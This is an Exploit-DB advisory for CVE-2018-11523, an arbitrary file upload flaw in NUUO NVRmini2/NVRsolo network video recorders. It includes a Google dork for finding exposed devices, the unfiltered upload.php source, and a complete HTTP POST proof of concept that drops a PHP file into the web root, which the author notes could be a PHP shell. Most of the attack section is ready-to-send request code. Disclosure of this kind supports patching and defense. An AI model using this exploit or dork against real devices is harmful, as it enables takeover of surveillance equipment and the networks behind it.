NUUO NVRmini2 / NVRsolo - Arbitrary File Upload

EDB-ID: 44794
Author: [email protected]
Published: 2018-05-29
CVE: CVE-2018-11523
Type: Webapps
Platform: Hardware
Vulnerable App: N/A

 # Google Dork: intitle:NUUO Network Video Recorder Login 
# Date: 2018-05-20
# Exploit Author: [email protected]
# Vendor Homepage: http://www.nuuo.com
# Software Link: N/A
# Version: all
# Tested on: PHP Linux
# CVE : CVE-2018-11523

==========================
Advisory: NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability
Author: [email protected] From DBAppSecurity
Affected Version: All
==========================
Vulnerability Description
==========================


Recetly, I found an Arbitrary File Upload Vulnerability in 'NUUO NVRmini2' program, NVRmini2 is widely used all over
the world.


Vulnerable cgi: /upload.php


<?php
//echo $_FILES['userfile']['type'];
//echo ":";
//echo $_FILES['userfile']['size'];
//echo ":";
//echo urldecode($_FILES['userfile']['name']);
//echo ":";
//echo $_FILES['userfile']['tmp_name'];
//echo ":";
//echo $_FILES['userfile']['error'];
//echo ":";
echo $_FILES['userfile']['name'];
copy($_FILES["userfile"]["tmp_name"],$_FILES['userfile']['name']);
?>




As the code above, no any filter, so we can upload a php shell directly to the web server.


==========================
POC EXP
==========================


1. Upload 'nuuonvr.php' to web root path:

POST /upload.php HTTP/1.1
Host: 192.168.10.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=--------969849961
Content-Length: 162

----------969849961
Content-Disposition: form-data; name="userfile"; filename="nuuonvr.php"

?php phpinfo();@unlink(__FILE__);?
----------969849961--


2. Check if the php file is uploaded successfully:
GET http://192.168.10.1/nuuonvr.php

If the page returns phpinfo info, target is vulnerable!

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